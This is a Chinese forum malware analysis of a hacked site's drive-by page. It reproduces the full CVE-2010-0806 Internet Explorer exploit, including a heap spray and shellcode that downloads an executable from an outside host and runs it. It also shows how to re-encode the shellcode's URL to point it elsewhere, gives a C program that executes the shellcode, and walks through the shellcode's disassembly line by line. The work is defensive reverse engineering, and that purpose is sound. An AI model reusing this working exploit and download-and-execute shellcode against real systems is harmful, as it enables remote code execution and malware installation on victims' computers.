使用mdecoder 分析一个网站得知被挂马,继而向下分析。
Log generated by anonymous use mdecoder 0.56
[root]http://aac.artron.net/css/3.htm(Exploit.Ie0dayCVE0806.a)
[virus]http://bbs.5ifit.com/forumdata/plugins/cj.exe
3.htm网页代码:
<html>
<body>
<button id="bo" onclick="payload();" STYLE="DISPLAY:NONE"></button>
<script language="javascript">
var shellcode = unescape("%u9090%u9090%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2e78%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u622F%u7362%u352E%u6669%u7469%u632E%u6D6F%u662F%u726F%u6D75%u6164%u6174%u702F%u756C%u6967%u736E%u632F%u2E6A%u7865%u0065%u0000");
var memory = new Array()
var spraySize = 0x86000 - shellcode.length*2;
var nop = unescape('%u0c0c%u0c0c');
while(nop.length < spraySize/2) nop +=nop;
var nops = nop.substring(0, spraySize/2);
delete nop;
for(i=0;i<270;i++)
{
memory = nops+nops+shellcode;
}
function payload()
{
var body = document.createElement("BODY");
body.addBehavior("#default#userData");
document.appendChild(body);
try
{
for (i=0;i<10;i++)
{body.setAttribute('s',window);
}
}
catch(e)
{}
window.status+='';
}
document.getElementById("bo").onclick();
</script>
</body>
</html>
上面的shellcode就是溢出代码,用FreShow两次ESC解密:
悙悙隩媢<媡5x 鮒媣 ?蒊A?? ?(8騮 了
贎腼;遳鏭媈$ 輋?K媈 輯 ?琶urlmon.dllC:\x.exe3纃 @0x 婡 媝 瓔@ ?婡4岪|婡<暱嶯 扈? 冹 ?$< 昉? /p鑟 T$鼚R?跾SR?S ]繕 鑃 ?$b 縹剽s鐯 http://bbs.5ifit.com/forumdata/plugins/cj.exe
EXE路径在最后,我们可以直接更改,并测试这个溢出,在自己的电脑上用AWS.exe将自己的电脑架设成服务器,并在ASW.exe下放一个小程序,这里我放了一个HelloWorld。将上面的ShellCode代码中的
%u7468%u7074%u2F3A%u622F%u7362%u352E%u6669%u7469%u632E%u6D6F%u662F%u726F%u6D75%u6164%u6174%u702F%u756C%u6967%u736E%u632F%u2E6A%u7865%u0065%u0000
修改成
%u7468%u7074%u2F3A%u312F%u3732%u302E%u302E%u312E%u312F%u652E%u6578
上面的替换其实就是把http://bbs.5ifit.com/forumdata/plugins/cj.exe 替换成http://127.0.0.1/1.exe,替换的时候就先把http://127.0.0.1/1.exe转换成16进制,再整理成上面的样子就可以了。修改完成后直接将上面的代码保存为1.html运行,就会看到HelloWorld程序已经运行,当然,前提是你的电脑有这个漏洞。
此溢出是CVE-2010-0806:微软公司2010年03月10日发布安全通报(981374),报告显示IE6和IE7出现新的远程代码执行漏洞 (CVE-2010-0806),IE 8不受该漏洞影响。
接下来我们来看一下这段shellcode的功能:
先把shellcode转换成16进制,用FreShow的ESC转换一次:
\x90\x90\x90\x90\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x78\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x62\x62\x73\x2E\x35\x69\x66\x69\x74\x2E\x63\x6F\x6D\x2F\x66\x6F\x72\x75\x6D\x64\x61\x74\x61\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x63\x6A\x2E\x65\x78\x65\x00\x00\x00
在VC中写入如下代码:
#include <stdio.h>
#include <windows.h>
int main()
{
LoadLibrary("kernel32.dll"); //载入kernel32.dll是因为shellcode中要用到这个库文件中的函数
char shellcode[]="\x90\x90\x90\x90\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x78\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x62\x62\x73\x2E\x35\x69\x66\x69\x74\x2E\x63\x6F\x6D\x2F\x66\x6F\x72\x75\x6D\x64\x61\x74\x61\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x63\x6A\x2E\x65\x78\x65\x00\x00\x00";
__asm{
lea eax,shellcode
push eax
ret ;这里会直接返回到shellcode去执行
}
return 0;
}
代码很简单,由于shellcode中要用到kernel32.dll中的函数,所以我导入了这个库文件(试想哪个PE文件不会导入这个库文件呢)。编译后得到1.exe,用OD打开
00401005 /$ /E9 06000000 JMP testb.main
0040100A | |CC INT3
0040100B | |CC INT3
0040100C | |CC INT3
0040100D | |CC INT3
0040100E | |CC INT3
0040100F | |CC INT3
00401010 >|> \55 PUSH EBP
00401011 |. 8BEC MOV EBP,ESP
00401013 |. 81EC 40010000 SUB ESP,140
00401019 |. 53 PUSH EBX
0040101A |. 56 PUSH ESI
0040101B |. 57 PUSH EDI
0040101C |. 8DBD C0FEFFFF LEA EDI,DWORD PTR SS:[EBP-140]
00401022 |. B9 50000000 MOV ECX,50
00401027 |. B8 CCCCCCCC MOV EAX,CCCCCCCC
0040102C |. F3:AB REP STOS DWORD PTR ES:[EDI]
0040102E |. 8BF4 MOV ESI,ESP
00401030 |. 68 50F14100 PUSH OFFSET [email=testb.??_C@_0N@IDOE@kernel32?4dll?$AA]testb.??_C@_0N@IDOE@kernel32?4dll?$AA[/email]@ ; /FileName = "kernel32.dll"
00401035 |. FF15 38414200 CALL DWORD PTR DS:[<&KERNEL32.LoadLibraryA>] ; \LoadLibraryA
0040103B |. 3BF4 CMP ESI,ESP
0040103D |. E8 5E000000 CALL testb.__chkesp
00401042 |. B9 3F000000 MOV ECX,3F
00401047 |. BE 1CF04100 MOV ESI,OFFSET [email=testb.??_C@_0PP@JJHN@?$JA?$JA?$JA?$JA?kT?$ILu?$DM?$ILt5x?$A]testb.??_C@_0PP@JJHN@?$JA?$JA?$JA?$JA?kT?$ILu?$DM?$ILt5x?$A[/email]>
0040104C |. 8DBD 00FFFFFF LEA EDI,DWORD PTR SS:[EBP-100]
00401052 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
00401054 |. 66:A5 MOVS WORD PTR ES:[EDI],WORD PTR DS:[ESI]
00401056 |. A4 MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00401057 |. 8D85 00FFFFFF LEA EAX,DWORD PTR SS:[EBP-100]
0040105D |. 50 PUSH EAX
0040105E \. C3 RETN
一直F8到retn返回,就会直接返回到shellcode代码,
0012FE80 90 NOP
0012FE81 90 NOP
0012FE82 90 NOP
0012FE83 90 NOP
0012FE84 EB 54 JMP SHORT 0012FEDA ;这里直接跳转到另一段shellcode中去执行了,去看看
0012FE86 8B75 3C MOV ESI,DWORD PTR SS:[EBP+3C]
0012FE89 8B7435 78 MOV ESI,DWORD PTR SS:[EBP+ESI+78]
0012FE8D 03F5 ADD ESI,EBP
0012FE8F 56 PUSH ESI
0012FE90 8B76 20 MOV ESI,DWORD PTR DS:[ESI+20]
0012FE93 03F5 ADD ESI,EBP
0012FE95 33C9 XOR ECX,ECX
0012FE97 49 DEC ECX
0012FE98 41 INC ECX
0012FE99 AD LODS DWORD PTR DS:[ESI]
0012FE9A 33DB XOR EBX,EBX
0012FE9C 36:0FBE1428 MOVSX EDX,BYTE PTR SS:[EAX+EBP]
0012FEA1 38F2 CMP DL,DH
0012FEA3 74 08 JE SHORT 0012FEAD
0012FEA5 C1CB 0D ROR EBX,0D
0012FEA8 03DA ADD EBX,EDX
0012FEAA 40 INC EAX
0012FEAB ^ EB EF JMP SHORT 0012FE9C
0012FEAD 3BDF CMP EBX,EDI
0012FEAF ^ 75 E7 JNZ SHORT 0012FE98
0012FEB1 5E POP ESI
0012FEB2 8B5E 24 MOV EBX,DWORD PTR DS:[ESI+24]
0012FEB5 03DD ADD EBX,EBP
0012FEB7 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2]
0012FEBB 8B5E 1C MOV EBX,DWORD PTR DS:[ESI+1C]
0012FEBE 03DD ADD EBX,EBP
0012FEC0 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4]
0012FEC3 03C5 ADD EAX,EBP
0012FEC5 C3 RETN
那个JMP跳转到了这里:
0012FEDA 33C0 XOR EAX,EAX
0012FEDC 64:0340 30 ADD EAX,DWORD PTR FS:[EAX+30] ; FS:[0]是TEB结构块,FS:[30]即PEB结构块
0012FEE0 78 0C JS SHORT 0012FEEE
0012FEE2 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] ; _PEB结构中的_PEB_LDR_DATA结构,_PEB._PEB_LDR_DATA
0012FEE5 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; _PEB_LDR_DATA结构中的InInitializationOrderModuleListr的Flink,_PEB_LDR_DATA.InInitializationOrderModuleListr.Flink
0012FEE8 AD LODS DWORD PTR DS:[ESI] ; InInitializationOrderModuleList中按顺序存放着ntdll.dll,kernel32.dll的结点
0012FEE9 8B40 08 MOV EAX,DWORD PTR DS:[EAX+8] ; kernel32.7C800000,kernel32的结点+8即得到kernel32在内存中的基址
0012FEEC EB 09 JMP SHORT 0012FEF7
0012FEEC /EB 09 JMP SHORT 0012FEF7
0012FEEE |8B40 34 MOV EAX,DWORD PTR DS:[EAX+34]
0012FEF1 |8D40 7C LEA EAX,DWORD PTR DS:[EAX+7C]
0012FEF4 |8B40 3C MOV EAX,DWORD PTR DS:[EAX+3C]
0012FEF7 \95 XCHG EAX,EBP
0012FEF8 BF 8E4E0EEC MOV EDI,EC0E4E8E ; EC0E4E8E是LoadLibraryA函数的Hash算法摘要,将其保存在EDI中
0012FEFD E8 84FFFFFF CALL 0012FE86 ; 这个call是得到LoadLibraryA函数地址,保存在EAX中
{
0012FE86 8B75 3C MOV ESI,DWORD PTR SS:[EBP+3C] ; kernel32基址+3C是得到指向PE头的RVA,即IMAGE_DOS_HEADER中的e_lfanew
0012FE89 8B7435 78 MOV ESI,DWORD PTR SS:[EBP+ESI+78] ; 再+78h得到指向导出表函数的指针,即IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress,这个是RVA
0012FE8D 03F5 ADD ESI,EBP ; EBP保存的是kernel32.dll的基址+输出表指针RVA,即得到输出表内存地址,IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress的VA
0012FE8F 56 PUSH ESI ; 将输出表地址压栈保存
0012FE90 8B76 20 MOV ESI,DWORD PTR DS:[ESI+20] ; 输出表地址+20h得到输出函数名地址表位置,即得到IMAGE_EXPORT_DIERCTORY.AddressOfNames,这个也是RVA
0012FE93 03F5 ADD ESI,EBP ; 基址+输出函数名地址RVA,即得到输出函数名内存地址,IMAGE_EXPORT_DIERCTORY.AddressOfNames的VA
0012FE95 33C9 XOR ECX,ECX ; 将ECX清零,用来计数,用以保存比对过的函数个数
0012FE97 49 DEC ECX
0012FE98 41 INC ECX ; 当前比对的函数不是要寻找的函数时,下面的JNZ SHORT 0012FE98会跳到这里,并且ECX会加1
0012FE99 AD LODS DWORD PTR DS:[ESI] ; 将第一个输出函数的函数名RVA装入EAX中,并将ESI加1
0012FE9A 33DB XOR EBX,EBX ; EBX清零,用来保存Hash算法结果
0012FE9C 36:0FBE1428 MOVSX EDX,BYTE PTR SS:[EAX+EBP] ; 函数名RVA+基址即得到函数名内存地址,将函数名第一个字母装入EDX中
0012FEA1 38F2 CMP DL,DH ; 判断DX是否为空,即读到了用来分隔函数名与函数名之间的NULL,如ActivateActCtx.AddAtomA.AddAtomW...中的小圆点
0012FEA3 74 08 JE SHORT 0012FEAD ; DX为NULL,即说明一个函数名已经读完并得到了相应的Hash摘要,跳到下面去比较两个Hash是否相同
0012FEA5 C1CB 0D ROR EBX,0D ; 循环右移13位
0012FEA8 03DA ADD EBX,EDX ; 累加
0012FEAA 40 INC EAX ; EAX加1则使[EAX+EBP]取函数名的下一个字母
0012FEAB ^ EB EF JMP SHORT 0012FE9C ; 继续计算
0012FEAD 3BDF CMP EBX,EDI ; EBX则保存了函数名的Hash算法的摘要,与压入的EDI比较
0012FEAF ^ 75 E7 JNZ SHORT 0012FE98 ; 如果不是要找的函数名则跳转到上面继续寻找
0012FEB1 5E POP ESI ; 将上面保存的输出表地址重新从堆栈中弹出保存到ESI中
0012FEB2 8B5E 24 MOV EBX,DWORD PTR DS:[ESI+24] ; 输出表地址+24h得到输出函数名序号表位置,即得到IMAGE_EXPORT_DIERCTORY.AddressOfNameOrdinals,这个是RVA
0012FEB5 03DD ADD EBX,EBP ; 基址+输出函数名序号地址RVA,即得到输出函数名序号地址表内存中的地址,IMAGE_EXPORT_DIERCTORY.AddressOfNameOrdinals的VA
0012FEB7 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] ; 输出函数名序号地址EBX+比对过的函数个数*2,即得到想得到的函数的序号
0012FEBB 8B5E 1C MOV EBX,DWORD PTR DS:[ESI+1C] ; 输出表地址+1Ch得到输出函数地址表的内存地址,即IMAGE_EXPORT_DIERCTORY.AddressOfFunctions,这个也是RVA
0012FEBE 03DD ADD EBX,EBP ; 基址+输出函数地址表RVA,即得到输出函数地址表在内存中的地址,IMAGE_EXPORT_DIERCTORY.AddressOfFunctions的VA
0012FEC0 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] ; 输出函数地址表地址EBX+函数序号*4,即得到想得到的函数的地址RVA
0012FEC3 03C5 ADD EAX,EBP ; 函数地址RVA+基址,即得到了函数内存地址,这里得到的是得到LoadLibraryA函数地址
0012FEC5 C3 RETN
}
0012FF02 83EC 04 SUB ESP,4 ; ESP减4,在堆栈中开辟一个DWORD大小空间,逻辑上是开辟空间,物理上这个空间还保留原来的数据,这个空间里存储的是执行上面CALL时留下来的东西,即执行CALL时压入的返回地址0012FF02,也就是当前指令的地址
0012FF05 832C24 3C SUB DWORD PTR SS:[ESP],3C ; [ESP]==0012FF02,0012FF02 - 3C = 0012FEC6,0012FEC6处保存的是urlmon.dll字符串,这两行代码看似不经意,但却展示了写这段shellcode人的巧妙
0012FF09 FFD0 CALL EAX ; 执行LoadLibraryA载入urlmon.dll库文件
0012FF0B 95 XCHG EAX,EBP ; EAX是LoadLibraryA返回urlmon.dll的基址,EBP中保存的是kernel32.dll的基址,EAX与EBP交换一下,之所以交换是因为在CALL中EBP是要充当保存urlmon.dll基址的寄存器,不交换就要出错啦
0012FF0C 50 PUSH EAX ; 压入kernel32.dll的基址
0012FF0D BF 361A2F70 MOV EDI,702F1A36 ; 702F1A36是URLDownloadToFileA函数的Hash算法摘要,将其保存在EDI中
0012FF12 E8 6FFFFFFF CALL 0012FE86 ; 得到URLDownloadToFileA函数地址,保存在EAX中
0012FF17 8B5424 FC MOV EDX,DWORD PTR SS:[ESP-4] ; [ESP-4] == 0012FF17,即[ESP-4]内容是当前的地址,也就是执行上面CALL后保留下来的东西,道理同0012FF02处的SUB ESP,4
0012FF1B 8D52 BA LEA EDX,DWORD PTR DS:[EDX-46] ; EDX-46 == 0012FED1,将0012FED1地址送入EDX中,在0012FED1处是C:\x.exe
0012FF1E 33DB XOR EBX,EBX
0012FF20 53 PUSH EBX ; 开始压入URLDownloadToFileA函数需要的参数,此处为URLDownloadToFileA的LPBINDSTATUSCALLBACK lpfnCB
0012FF21 53 PUSH EBX ; 此处为URLDownloadToFileA的DWORD dwReserved
0012FF22 52 PUSH EDX ; 压入C:\x.exe字符串地址,此处为URLDownloadToFileA的LPCTSTR szFileName
0012FF23 EB 24 JMP SHORT 0012FF49 ; 向下跳
0012FF25 53 PUSH EBX ; 此处为URLDownloadToFileA的LPUNKNOWN pCaller
0012FF26 FFD0 CALL EAX ; 执行URLDownloadToFileA下载病毒文件
0012FF28 5D POP EBP ; 弹出kernel32.dll基址
0012FF29 BF 98FE8A0E MOV EDI,0E8AFE98 ; EC0E4E8E是WinExec函数的Hash算法摘要,将其保存在EDI中
0012FF2E E8 53FFFFFF CALL 0012FE86 ; 得到WinExec函数地址,保存在EAX中
0012FF33 83EC 04 SUB ESP,4 ; 同地址0012FF02,得到[ESP]==0012FF33
0012FF36 832C24 62 SUB DWORD PTR SS:[ESP],62 ; 0012FF33 - 62 = 0012FED1,此处是C:\x.exe,即执行这行指令后,相应于将C:\x.exe地址压入堆栈
0012FF3A FFD0 CALL EAX ; 执行WinExec,运行C:\x.exe
0012FF3C BF 7ED8E273 MOV EDI,73E2D87E ; 73E2D87E是ExitProcess函数的Hash算法摘要,将其保存在EDI中
0012FF41 E8 40FFFFFF CALL 0012FE86 ; 得到ExitProcess函数地址,保存在EAX中
0012FF46 52 PUSH EDX ; 压入ExitProcess参数NULL,这里的EDX已经为NULL,但往上看会看到最近的EDX(0012FF22处最近)保存的是C:\x.exe地址,而接下来并没有指令更改EDX,为什么EDX变为NULL了呢?这是因为在执行0012FF2E处的CALL时(这个CALL是来解密WinExec的)EDX被最终设置成了NULL
0012FF47 FFD0 CALL EAX ; 执行ExitProcess退出
0012FF49 E8 D7FFFFFF CALL 0012FF25 ; 上面的JMP跳到这里后,这个CALL又CALL到了0012FF25处,又回去了,到了JMP指令的下一句PUSH EBX。为什么要这样子?之所以到这里执行这个CALL是因为执行CALL后会压入CALL指令的下一行地址0012FF4E,而这个地址已经不是指令了,是下载地址http://...,很巧妙啊
0012FF4E 68 7474703A PUSH 3A707474 ; 从这里开始其实已经是数据了,http://bbs.5ifit.com/forumdata/plugins/cj.exe
0012FF53 2F DAS
0012FF54 2F DAS
0012FF55 6262 73 BOUND ESP,QWORD PTR DS:[EDX+73]
0012FF58 2E:35 69666974 XOR EAX,74696669
0012FF5E 2E:636F 6D ARPL WORD PTR CS:[EDI+6D],BP
整个shellcode在内存中的模样:
0012FE80 90 90 90 90 EB 54 8B 75 3C 8B 74 35 78 03 F5 56 悙悙隩媢<媡5x鮒
0012FE90 8B 76 20 03 F5 33 C9 49 41 AD 33 DB 36 0F BE 14 媣 ?蒊A???
0012FEA0 28 38 F2 74 08 C1 CB 0D 03 DA 40 EB EF 3B DF 75 (8騮了.贎腼;遳
0012FEB0 E7 5E 8B 5E 24 03 DD 66 8B 0C 4B 8B 5E 1C 03 DD 鏭媈$輋?K媈
0012FEC0 8B 04 8B 03 C5 C3 75 72 6C 6D 6F 6E 2E 64 6C 6C ??琶urlmon.dll
0012FED0 00 43 3A 5C 78 2E 65 78 65 00 33 C0 64 03 40 30 .C:\x.exe.3纃@0
0012FEE0 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 x.婡.媝瓔@?婡
0012FEF0 34 8D 40 7C 8B 40 3C 95 BF 8E 4E 0E EC E8 84 FF 4岪|婡<暱嶯扈?
0012FF00 FF FF 83 EC 04 83 2C 24 3C FF D0 95 50 BF 36 1A 冹?$<袝P?
0012FF10 2F 70 E8 6F FF FF FF 8B 54 24 FC 8D 52 BA 33 DB /p鑟婽$鼚R?
0012FF20 53 53 52 EB 24 53 FF D0 5D BF 98 FE 8A 0E E8 53 SSR?S衇繕鑃
0012FF30 FF FF FF 83 EC 04 83 2C 24 62 FF D0 BF 7E D8 E2 冹?$b锌~剽
0012FF40 73 E8 40 FF FF FF 52 FF D0 E8 D7 FF FF FF 68 74 s鐯R需?ht
0012FF50 74 70 3A 2F 2F 62 62 73 2E 35 69 66 69 74 2E 63 tp://bbs.5ifit.c
0012FF60 6F 6D 2F 66 6F 72 75 6D 64 61 74 61 2F 70 6C 75 om/forumdata/plu
0012FF70 67 69 6E 73 2F 63 6A 2E 65 78 65 00 00 00 00 CC gins/cj.exe....
上面的shellcode应该是使用Metasploit生成的,是个标准的shellcode.
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课